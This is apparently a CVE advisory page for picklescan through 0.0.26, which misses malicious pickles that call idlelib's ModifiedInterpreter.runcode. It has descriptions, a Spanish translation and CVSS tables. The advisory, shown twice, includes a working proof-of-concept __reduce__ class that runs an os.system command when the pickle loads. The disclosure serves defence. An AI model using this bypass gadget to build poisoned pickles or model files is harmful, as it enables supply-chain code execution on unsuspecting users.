picklescan through 0.0.26 fails to detect malicious pickle files that invoke idlelib.pyshell.ModifiedInterpreter.runcode in __reduce__…
[email protected]·CWE-502·Published 2025-08-26
picklescan through 0.0.26 fails to detect malicious pickle files that invoke idlelib.pyshell.ModifiedInterpreter.runcode in __reduce__ methods. Attackers can embed undetected code in pickle files that executes arbitrary commands when the file is loaded via pickle.load(), enabling supply chain attacks on PyTorch models and saved Python objects. This is fixed in version 0.0.30.
picklescan through 0.0.26 fails to detect malicious pickle files that invoke idlelib.pyshell.ModifiedInterpreter.runcode in __reduce__ methods. Attackers can embed undetected code in pickle files that executes arbitrary commands when the file is loaded via pickle.load(), enabling supply chain attacks on PyTorch models and saved Python objects. This is fixed in version 0.0.30.
### Summary Using idlelib.pyshell.ModifiedInterpreter.runcode function, which is a built-in python library function to execute remote pickle file. ### Details The attack payload executes in the following steps: First, the attacker craft the payload by calling to idlelib.pyshell.ModifiedInterpreter.runcode function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution. ### PoC ``` from idlelib.pyshell import ModifiedInterpreter from types import SimpleNamespace class EvilIdlelibPyshellModifiedInterpreterRuncode: def __reduce__(self): payload = "__import__('os').system('whoami')" fake_self = SimpleNamespace( locals={}, tkconsole=SimpleNamespace( executing=False, beginexecuting=str, canceled=False, closing=False, showtraceback=str, endexecuting=str, stderr=None, text=SimpleNamespace(), getvar=str ), rpcclt=None, debugger=None, checklinecache=str, active_seq=None, showtraceback=str, canceled=False, closing=False ) return ModifiedInterpreter.runcode, (fake_self, payload) ``` ### Impact Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects. ### Corresponding https://github.com/FredericDT https://github.com/Qhaoduoyu
### Summary Using idlelib.pyshell.ModifiedInterpreter.runcode function, which is a built-in python library function to execute remote pickle file. ### Details The attack payload executes in the following steps: First, the attacker craft the payload by calling to idlelib.pyshell.ModifiedInterpreter.runcode function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution. ### PoC ``` from idlelib.pyshell import ModifiedInterpreter from types import SimpleNamespace class EvilIdlelibPyshellModifiedInterpreterRuncode: def __reduce__(self): payload = "__import__('os').system('whoami')" fake_self = SimpleNamespace( locals={}, tkconsole=SimpleNamespace( executing=False, beginexecuting=str, canceled=False, closing=False, showtraceback=str, endexecuting=str, stderr=None, text=SimpleNamespace(), getvar=str ), rpcclt=None, debugger=None, checklinecache=str, active_seq=None, showtraceback=str, canceled=False, closing=False ) return ModifiedInterpreter.runcode, (fake_self, payload) ``` ### Impact Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects. ### Corresponding https://github.com/FredericDT https://github.com/Qhaoduoyu
picklescan hasta la versión 0.0.26 falla en detectar archivos pickle maliciosos que invocan idlelib.pyshell.ModifiedInterpreter.runcode en métodos __reduce__. Los atacantes pueden incrustar código no detectado en archivos pickle que ejecuta comandos arbitrarios cuando el archivo es cargado a través de pickle.load(), lo que permite ataques a la cadena de suministro en modelos de PyTorch y objetos Python guardados. Esto está corregido en la versión 0.0.30.
| Version | Type | Source | Base | Exp | Impact | Vector |
|---|---|---|---|---|---|---|
| 3.1 | Primary | cve.org | 8.1 | — | — | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N |
| 3.1 | Primary | NVD | 8.1 | 2.8 | 5.2 | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N |
| 3.1 | Primary | cve.org | 8.1 | — | — | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N |
| 3.1 | Secondary | NVD | 8.1 | 2.8 | 5.2 | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N |
| 3.1 | Secondary | GHSA | 8.1 | — | — | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N |
| 4.0 | Primary | cve.org | 7.6 | — | — | CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N |
| 4.0 | Primary | cve.org | 7.6 | — | — | CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N |
| 4.0 | Secondary | ENISA EUVD | 7.6 | — | — | CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N |
| 4.0 | Secondary | NVD | 7.6 | — | — | CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X |
| 4.0 | Secondary | GHSA | 7.6 | — | — | CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N |